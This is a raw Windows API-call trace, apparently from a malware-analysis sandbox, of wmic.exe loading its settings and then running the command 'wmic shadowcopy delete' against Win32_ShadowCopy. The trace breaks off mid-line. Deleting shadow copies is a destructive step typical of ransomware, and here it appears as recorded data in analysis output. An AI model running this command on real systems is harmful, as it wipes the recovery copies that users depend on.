[0109.060] malloc (_Size=0xc) returned 0x832f08 [0109.060] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0109.060] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0109.061] free (_Block=0x832ed8) [0109.061] free (_Block=0x832ef0) [0109.061] GetCurrentThreadId () returned 0x934 [0109.061] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x25f3d0 | out: phkResult=0x25f3d0*=0x10c) returned 0x0 [0109.062] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x25f3dc, lpcbData=0x25f3d8*=0x400 | out: lpType=0x0, lpData=0x25f3dc*=0x30, lpcbData=0x25f3d8*=0x4) returned 0x0 [0109.062] _wcsicmp (_String1="0", _String2="1") returned -1 [0109.062] _wcsicmp (_String1="0", _String2="2") returned -2 [0109.062] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x25f3d8*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x25f3d8*=0x42) returned 0x0 [0109.062] malloc (_Size=0x86) returned 0x832f20 [0109.062] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x832f20, lpcbData=0x25f3d8*=0x42 | out: lpType=0x0, lpData=0x832f20*=0x25, lpcbData=0x25f3d8*=0x42) returned 0x0 [0109.062] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0109.062] malloc (_Size=0x42) returned 0x832fb0 [0109.062] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0109.062] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x25f3dc, lpcbData=0x25f3d8*=0x400 | out: lpType=0x0, lpData=0x25f3dc*=0x36, lpcbData=0x25f3d8*=0xc) returned 0x0 [0109.062] _wtol (_String="65536") returned 65536 [0109.063] free (_Block=0x832f20) [0109.063] RegCloseKey (hKey=0x0) returned 0x6 [0109.063] CoCreateInstance (in: rclsid=0x2d6d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x2d6d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x25f86c | out: ppv=0x25f86c*=0x294630) returned 0x0 [0115.859] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x294630, xmlSource=0x25f7f0*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x77c7, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x25f854 | out: isSuccessful=0x25f854*=0xffff) returned 0x0 [0120.820] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x294630, DOMElement=0x25f868 | out: DOMElement=0x25f868) returned 0x0 [0120.820] malloc (_Size=0xc) returned 0x832ed8 [0120.821] free (_Block=0x832ed8) [0120.821] malloc (_Size=0xc) returned 0x832ed8 [0120.821] free (_Block=0x832ed8) [0120.822] malloc (_Size=0xc) returned 0x832ed8 [0120.822] malloc (_Size=0xc) returned 0x832ef0 [0120.822] malloc (_Size=0x18) returned 0x83e8e8 [0120.823] malloc (_Size=0xc) returned 0x833110 [0120.823] free (_Block=0x833110) [0120.823] malloc (_Size=0xc) returned 0x833110 [0120.823] malloc (_Size=0xc) returned 0x833128 [0120.823] SysStringLen (param_1="VALUE") returned 0x5 [0120.824] SysStringLen (param_1="TABLE") returned 0x5 [0120.824] SysStringLen (param_1="TABLE") returned 0x5 [0120.824] SysStringLen (param_1="VALUE") returned 0x5 [0120.824] malloc (_Size=0x18) returned 0x83e908 [0120.824] malloc (_Size=0xc) returned 0x833140 [0120.825] free (_Block=0x833140) [0120.825] malloc (_Size=0xc) returned 0x83fac8 [0120.825] malloc (_Size=0xc) returned 0x83fae0 [0120.825] SysStringLen (param_1="LIST") returned 0x4 [0120.825] SysStringLen (param_1="TABLE") returned 0x5 [0120.825] malloc (_Size=0x18) returned 0x83e928 [0120.826] malloc (_Size=0xc) returned 0x83faf8 [0120.826] free (_Block=0x83faf8) [0120.827] malloc (_Size=0xc) returned 0x83faf8 [0120.827] malloc (_Size=0xc) returned 0x83fb10 [0120.828] SysStringLen (param_1="RAWXML") returned 0x6 [0120.828] SysStringLen (param_1="TABLE") returned 0x5 [0120.828] SysStringLen (param_1="RAWXML") returned 0x6 [0120.828] SysStringLen (param_1="LIST") returned 0x4 [0120.828] SysStringLen (param_1="LIST") returned 0x4 [0120.828] SysStringLen (param_1="RAWXML") returned 0x6 [0120.828] malloc (_Size=0x18) returned 0x83e948 [0120.829] malloc (_Size=0xc) returned 0x83fb28 [0120.829] free (_Block=0x83fb28) [0120.829] malloc (_Size=0xc) returned 0x83fb28 [0120.829] malloc (_Size=0xc) returned 0x83fb40 [0120.829] SysStringLen (param_1="HTABLE") returned 0x6 [0120.829] SysStringLen (param_1="TABLE") returned 0x5 [0120.829] SysStringLen (param_1="HTABLE") returned 0x6 [0120.829] SysStringLen (param_1="LIST") returned 0x4 [0120.830] malloc (_Size=0x18) returned 0x83e968 [0120.830] malloc (_Size=0xc) returned 0x83fb58 [0120.830] free (_Block=0x83fb58) [0120.831] malloc (_Size=0xc) returned 0x83fb58 [0120.831] malloc (_Size=0xc) returned 0x83fb70 [0120.831] SysStringLen (param_1="HFORM") returned 0x5 [0120.831] SysStringLen (param_1="TABLE") returned 0x5 [0120.831] SysStringLen (param_1="HFORM") returned 0x5 [0120.831] SysStringLen (param_1="LIST") returned 0x4 [0120.831] SysStringLen (param_1="HFORM") returned 0x5 [0120.831] SysStringLen (param_1="HTABLE") returned 0x6 [0120.831] malloc (_Size=0x18) returned 0x83e988 [0120.832] malloc (_Size=0xc) returned 0x83fb88 [0120.832] free (_Block=0x83fb88) [0120.832] malloc (_Size=0xc) returned 0x83fb88 [0120.832] malloc (_Size=0xc) returned 0x83fba0 [0120.833] SysStringLen (param_1="XML") returned 0x3 [0120.833] SysStringLen (param_1="TABLE") returned 0x5 [0120.833] SysStringLen (param_1="XML") returned 0x3 [0120.833] SysStringLen (param_1="VALUE") returned 0x5 [0120.833] SysStringLen (param_1="VALUE") returned 0x5 [0120.833] SysStringLen (param_1="XML") returned 0x3 [0120.833] malloc (_Size=0x18) returned 0x83e9a8 [0120.834] malloc (_Size=0xc) returned 0x83fbb8 [0120.834] free (_Block=0x83fbb8) [0120.834] malloc (_Size=0xc) returned 0x83fbb8 [0120.834] malloc (_Size=0xc) returned 0x83fbd0 [0120.835] SysStringLen (param_1="MOF") returned 0x3 [0120.835] SysStringLen (param_1="TABLE") returned 0x5 [0120.835] SysStringLen (param_1="MOF") returned 0x3 [0120.835] SysStringLen (param_1="LIST") returned 0x4 [0120.835] SysStringLen (param_1="MOF") returned 0x3 [0120.835] SysStringLen (param_1="RAWXML") returned 0x6 [0120.835] SysStringLen (param_1="LIST") returned 0x4 [0120.835] SysStringLen (param_1="MOF") returned 0x3 [0120.835] malloc (_Size=0x18) returned 0x83e9c8 [0120.836] malloc (_Size=0xc) returned 0x83fbe8 [0120.836] free (_Block=0x83fbe8) [0120.836] malloc (_Size=0xc) returned 0x83fbe8 [0120.837] malloc (_Size=0xc) returned 0x83fc00 [0120.837] SysStringLen (param_1="CSV") returned 0x3 [0120.837] SysStringLen (param_1="TABLE") returned 0x5 [0120.837] SysStringLen (param_1="CSV") returned 0x3 [0120.837] SysStringLen (param_1="LIST") returned 0x4 [0120.837] SysStringLen (param_1="CSV") returned 0x3 [0120.837] SysStringLen (param_1="HTABLE") returned 0x6 [0120.837] SysStringLen (param_1="CSV") returned 0x3 [0120.837] SysStringLen (param_1="HFORM") returned 0x5 [0120.837] malloc (_Size=0x18) returned 0x83e9e8 [0120.838] malloc (_Size=0xc) returned 0x83fc18 [0120.838] free (_Block=0x83fc18) [0120.838] malloc (_Size=0xc) returned 0x83fc18 [0120.839] malloc (_Size=0xc) returned 0x83fc30 [0120.839] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0120.839] SysStringLen (param_1="TABLE") returned 0x5 [0120.839] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0120.839] SysStringLen (param_1="VALUE") returned 0x5 [0120.839] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0120.839] SysStringLen (param_1="XML") returned 0x3 [0120.839] SysStringLen (param_1="XML") returned 0x3 [0120.839] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0120.839] malloc (_Size=0x18) returned 0x83ea08 [0120.840] malloc (_Size=0xc) returned 0x83fc48 [0120.840] free (_Block=0x83fc48) [0120.841] malloc (_Size=0xc) returned 0x83fc48 [0120.841] malloc (_Size=0xc) returned 0x83fc60 [0120.841] SysStringLen (param_1="texttablewsys") returned 0xd [0120.841] SysStringLen (param_1="TABLE") returned 0x5 [0120.841] SysStringLen (param_1="texttablewsys") returned 0xd [0120.841] SysStringLen (param_1="XML") returned 0x3 [0120.841] SysStringLen (param_1="texttablewsys") returned 0xd [0120.841] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0120.841] SysStringLen (param_1="XML") returned 0x3 [0120.841] SysStringLen (param_1="texttablewsys") returned 0xd [0120.841] malloc (_Size=0x18) returned 0x83ea28 [0120.842] malloc (_Size=0xc) returned 0x83fc78 [0121.032] free (_Block=0x83fc78) [0121.033] malloc (_Size=0xc) returned 0x83fc78 [0121.033] malloc (_Size=0xc) returned 0x83fc90 [0121.033] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.033] SysStringLen (param_1="TABLE") returned 0x5 [0121.033] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.033] SysStringLen (param_1="XML") returned 0x3 [0121.033] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.033] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.033] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.033] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.034] malloc (_Size=0x18) returned 0x83ea48 [0121.034] malloc (_Size=0xc) returned 0x83fca8 [0121.035] free (_Block=0x83fca8) [0121.035] malloc (_Size=0xc) returned 0x83fca8 [0121.035] malloc (_Size=0xc) returned 0x83fcc0 [0121.036] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0121.036] SysStringLen (param_1="TABLE") returned 0x5 [0121.036] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0121.036] SysStringLen (param_1="XML") returned 0x3 [0121.036] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0121.036] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.036] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0121.036] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.036] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.036] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0121.037] malloc (_Size=0x18) returned 0x83ea68 [0121.037] malloc (_Size=0xc) returned 0x83fcd8 [0121.038] free (_Block=0x83fcd8) [0121.038] malloc (_Size=0xc) returned 0x83fcd8 [0121.038] malloc (_Size=0xc) returned 0x83fcf0 [0121.038] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.038] SysStringLen (param_1="TABLE") returned 0x5 [0121.038] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.038] SysStringLen (param_1="XML") returned 0x3 [0121.038] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.038] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.038] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.038] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.039] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.039] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.039] malloc (_Size=0x18) returned 0x83ea88 [0121.039] malloc (_Size=0xc) returned 0x83fd08 [0121.040] free (_Block=0x83fd08) [0121.040] malloc (_Size=0xc) returned 0x83fd08 [0121.040] malloc (_Size=0xc) returned 0x83fd20 [0121.040] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0121.040] SysStringLen (param_1="TABLE") returned 0x5 [0121.040] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0121.040] SysStringLen (param_1="XML") returned 0x3 [0121.040] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0121.040] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.041] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0121.041] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.041] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0121.041] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.041] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.041] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0121.041] malloc (_Size=0x18) returned 0x83eaa8 [0121.042] malloc (_Size=0xc) returned 0x83fd38 [0121.042] free (_Block=0x83fd38) [0121.042] malloc (_Size=0xc) returned 0x83fd38 [0121.042] malloc (_Size=0xc) returned 0x83fd50 [0121.042] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0121.042] SysStringLen (param_1="TABLE") returned 0x5 [0121.042] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0121.042] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.043] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0121.043] SysStringLen (param_1="XML") returned 0x3 [0121.043] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0121.043] SysStringLen (param_1="texttablewsys") returned 0xd [0121.043] SysStringLen (param_1="XML") returned 0x3 [0121.043] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0121.043] malloc (_Size=0x18) returned 0x83eac8 [0121.044] malloc (_Size=0xc) returned 0x83fd68 [0121.044] free (_Block=0x83fd68) [0121.044] malloc (_Size=0xc) returned 0x83fd68 [0121.044] malloc (_Size=0xc) returned 0x83fd80 [0121.044] SysStringLen (param_1="htable-sortby") returned 0xd [0121.044] SysStringLen (param_1="TABLE") returned 0x5 [0121.044] SysStringLen (param_1="htable-sortby") returned 0xd [0121.045] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.045] SysStringLen (param_1="htable-sortby") returned 0xd [0121.045] SysStringLen (param_1="XML") returned 0x3 [0121.045] SysStringLen (param_1="htable-sortby") returned 0xd [0121.045] SysStringLen (param_1="texttablewsys") returned 0xd [0121.045] SysStringLen (param_1="htable-sortby") returned 0xd [0121.045] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0121.045] SysStringLen (param_1="XML") returned 0x3 [0121.045] SysStringLen (param_1="htable-sortby") returned 0xd [0121.046] malloc (_Size=0x18) returned 0x83eae8 [0121.046] malloc (_Size=0xc) returned 0x83fd98 [0121.047] free (_Block=0x83fd98) [0121.047] malloc (_Size=0xc) returned 0x83fd98 [0121.047] malloc (_Size=0xc) returned 0x83fdb0 [0121.047] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0121.047] SysStringLen (param_1="TABLE") returned 0x5 [0121.047] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0121.047] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.047] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0121.047] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.048] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0121.048] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0121.048] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.048] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0121.048] malloc (_Size=0x18) returned 0x83eb08 [0121.049] malloc (_Size=0xc) returned 0x83fdc8 [0121.049] free (_Block=0x83fdc8) [0121.049] malloc (_Size=0xc) returned 0x83fdc8 [0121.049] malloc (_Size=0xc) returned 0x83fde0 [0121.049] SysStringLen (param_1="wmiclimofformat") returned 0xf [0121.049] SysStringLen (param_1="TABLE") returned 0x5 [0121.049] SysStringLen (param_1="wmiclimofformat") returned 0xf [0121.049] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.049] SysStringLen (param_1="wmiclimofformat") returned 0xf [0121.050] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.050] SysStringLen (param_1="wmiclimofformat") returned 0xf [0121.050] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0121.050] SysStringLen (param_1="wmiclimofformat") returned 0xf [0121.050] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0121.050] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.050] SysStringLen (param_1="wmiclimofformat") returned 0xf [0121.050] malloc (_Size=0x18) returned 0x83eb28 [0121.051] malloc (_Size=0xc) returned 0x83fdf8 [0121.051] free (_Block=0x83fdf8) [0121.051] malloc (_Size=0xc) returned 0x83fdf8 [0121.051] malloc (_Size=0xc) returned 0x83fe10 [0121.051] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0121.052] SysStringLen (param_1="TABLE") returned 0x5 [0121.052] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0121.052] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.052] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0121.052] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.052] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0121.052] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.052] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.052] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0121.052] malloc (_Size=0x18) returned 0x83eb48 [0121.053] malloc (_Size=0xc) returned 0x83fe28 [0121.053] free (_Block=0x83fe28) [0121.053] malloc (_Size=0xc) returned 0x83fe28 [0121.053] malloc (_Size=0xc) returned 0x83fe40 [0121.054] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0121.054] SysStringLen (param_1="TABLE") returned 0x5 [0121.054] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0121.054] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0121.054] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0121.054] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0121.054] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0121.054] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.054] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0121.054] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0121.054] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0121.054] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0121.054] malloc (_Size=0x18) returned 0x83eb68 [0121.055] FreeThreadedDOMDocument:IUnknown:Release (This=0x294630) returned 0x0 [0121.055] free (_Block=0x832f08) [0121.056] GetCommandLineW () returned="wmic shadowcopy delete " [0121.056] malloc (_Size=0x40) returned 0x833140 [0121.056] memcpy_s (in: _Destination=0x833140, _DestinationSize=0x3e, _Source=0x5a199c, _SourceSize=0x30 | out: _Destination=0x833140) returned 0x0 [0121.056] malloc (_Size=0xc) returned 0x83fe58 [0121.056] malloc (_Size=0xc) returned 0x83fe70 [0121.056] malloc (_Size=0xc) returned 0x83fe88 [0121.056] malloc (_Size=0xc) returned 0x2822060 [0121.056] malloc (_Size=0x80) returned 0x28205b0 [0121.056] GetLocalTime (in: lpSystemTime=0x25f830 | out: lpSystemTime=0x25f830*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x35, wSecond=0x32, wMilliseconds=0x287)) [0121.057] _vsnwprintf (in: _Buffer=0x28205b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x25f810 | out: _Buffer="05-06-2020T01:53:50") returned 19 [0121.057] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.057] malloc (_Size=0x2a) returned 0x833188 [0121.057] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.057] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.057] malloc (_Size=0x2a) returned 0x8331c0 [0121.057] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.057] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.057] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.057] malloc (_Size=0x16) returned 0x83eb88 [0121.057] lstrlenW (lpString="shadowcopy") returned 10 [0121.057] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0121.057] malloc (_Size=0x16) returned 0x83eba8 [0121.057] malloc (_Size=0x4) returned 0x832f08 [0121.057] free (_Block=0x0) [0121.057] free (_Block=0x83eb88) [0121.057] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.058] malloc (_Size=0xe) returned 0x2822078 [0121.058] lstrlenW (lpString="delete") returned 6 [0121.058] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0121.058] malloc (_Size=0xe) returned 0x2822090 [0121.058] malloc (_Size=0x8) returned 0x83feb0 [0121.058] memmove_s (in: _Destination=0x83feb0, _DestinationSize=0x4, _Source=0x832f08, _SourceSize=0x4 | out: _Destination=0x83feb0) returned 0x0 [0121.058] free (_Block=0x832f08) [0121.058] free (_Block=0x0) [0121.058] free (_Block=0x2822078) [0121.058] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0121.058] malloc (_Size=0x8) returned 0x832f08 [0121.058] lstrlenW (lpString="QUIT") returned 4 [0121.058] lstrlenW (lpString="shadowcopy") returned 10 [0121.058] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0121.058] lstrlenW (lpString="EXIT") returned 4 [0121.059] lstrlenW (lpString="shadowcopy") returned 10 [0121.059] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0121.059] free (_Block=0x832f08) [0121.059] WbemLocator:IUnknown:AddRef (This=0x3c0828) returned 0x2 [0121.059] malloc (_Size=0x8) returned 0x832f08 [0121.059] lstrlenW (lpString="/") returned 1 [0121.059] lstrlenW (lpString="shadowcopy") returned 10 [0121.059] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0121.059] lstrlenW (lpString="-") returned 1 [0121.059] lstrlenW (lpString="shadowcopy") returned 10 [0121.059] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0121.059] lstrlenW (lpString="CLASS") returned 5 [0121.059] lstrlenW (lpString="shadowcopy") returned 10 [0121.059] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0121.059] lstrlenW (lpString="PATH") returned 4 [0121.059] lstrlenW (lpString="shadowcopy") returned 10 [0121.059] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0121.059] lstrlenW (lpString="CONTEXT") returned 7 [0121.060] lstrlenW (lpString="shadowcopy") returned 10 [0121.060] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0121.060] lstrlenW (lpString="shadowcopy") returned 10 [0121.060] malloc (_Size=0x16) returned 0x83eb88 [0121.060] lstrlenW (lpString="shadowcopy") returned 10 [0121.060] GetCurrentThreadId () returned 0x934 [0121.060] ??0CHString@@QAE@XZ () returned 0x25f784 [0121.060] malloc (_Size=0xc) returned 0x2822078 [0121.060] malloc (_Size=0xc) returned 0x28220a8 [0121.060] WbemLocator:IWbemLocator:ConnectServer (in: This=0x3c0828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x31c1e0 | out: ppNamespace=0x31c1e0*=0x3cd00c) returned 0x0 [0126.367] free (_Block=0x28220a8) [0126.367] free (_Block=0x2822078) [0126.367] CoSetProxyBlanket (pProxy=0x3cd00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0126.368] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.368] GetCurrentThreadId () returned 0x934 [0126.368] ??0CHString@@QAE@XZ () returned 0x25f71c [0126.368] malloc (_Size=0xc) returned 0x2822078 [0126.368] malloc (_Size=0xc) returned 0x28220a8 [0126.369] malloc (_Size=0xc) returned 0x28220c0 [0126.369] malloc (_Size=0xc) returned 0x28220d8 [0126.369] SysStringLen (param_1="root\\cli") returned 0x8 [0126.369] SysStringLen (param_1="\\") returned 0x1 [0126.369] malloc (_Size=0xc) returned 0x28220f0 [0126.369] SysStringLen (param_1="root\\cli\\") returned 0x9 [0126.369] SysStringLen (param_1="ms_409") returned 0x6 [0126.370] free (_Block=0x28220d8) [0126.370] free (_Block=0x28220c0) [0126.370] free (_Block=0x28220a8) [0126.370] free (_Block=0x2822078) [0126.370] malloc (_Size=0xc) returned 0x2822078 [0126.370] WbemLocator:IWbemLocator:ConnectServer (in: This=0x3c0828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x31c1e4 | out: ppNamespace=0x31c1e4*=0x3cd064) returned 0x0 [0126.499] free (_Block=0x2822078) [0126.499] free (_Block=0x28220f0) [0126.499] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.499] GetCurrentThreadId () returned 0x934 [0126.499] ??0CHString@@QAE@XZ () returned 0x25f788 [0126.500] malloc (_Size=0xc) returned 0x28220f0 [0126.500] malloc (_Size=0xc) returned 0x2822078 [0126.500] malloc (_Size=0xc) returned 0x28220a8 [0126.500] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0126.500] malloc (_Size=0x3a) returned 0x83fec0 [0126.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d1f7c, cbMultiByte=-1, lpWideCharStr=0x83fec0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0126.500] free (_Block=0x83fec0) [0126.500] malloc (_Size=0xc) returned 0x28220c0 [0126.500] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0126.500] SysStringLen (param_1="shadowcopy") returned 0xa [0126.501] malloc (_Size=0xc) returned 0x28220d8 [0126.501] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0126.501] SysStringLen (param_1="'") returned 0x1 [0126.501] free (_Block=0x28220c0) [0126.501] free (_Block=0x28220a8) [0126.502] free (_Block=0x2822078) [0126.502] free (_Block=0x28220f0) [0126.502] IWbemServices:GetObject (in: This=0x3cd00c, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x25f784*=0x0, ppCallResult=0x0 | out: ppObject=0x25f784*=0x3d9a18, ppCallResult=0x0) returned 0x0 [0126.531] malloc (_Size=0xc) returned 0x28220f0 [0126.531] IWbemClassObject:Get (in: This=0x3d9a18, wszName="Target", lFlags=0, pVal=0x25f744*(varType=0x0, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x30, varVal1=0xffffffff, varVal2=0x2da03c), pType=0x0, plFlavor=0x0 | out: pVal=0x25f744*(varType=0x8, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x30, varVal1="Select * from Win32_ShadowCopy", varVal2=0x2da03c), pType=0x0, plFlavor=0x0) returned 0x0 [0126.531] free (_Block=0x28220f0) [0126.531] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0126.532] malloc (_Size=0x3e) returned 0x83fec0 [0126.532] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0126.532] malloc (_Size=0xc) returned 0x28220f0 [0126.532] IWbemClassObject:Get (in: This=0x3d9a18, wszName="PWhere", lFlags=0, pVal=0x25f744*(varType=0x0, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x30, varVal1=0x5c503c, varVal2=0x2da03c), pType=0x0, plFlavor=0x0 | out: pVal=0x25f744*(varType=0x8, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x30, varVal1=" Where ID = '#'", varVal2=0x2da03c), pType=0x0, plFlavor=0x0) returned 0x0 [0126.532] free (_Block=0x28220f0) [0126.532] lstrlenW (lpString=" Where ID = '#'") returned 15 [0126.532] malloc 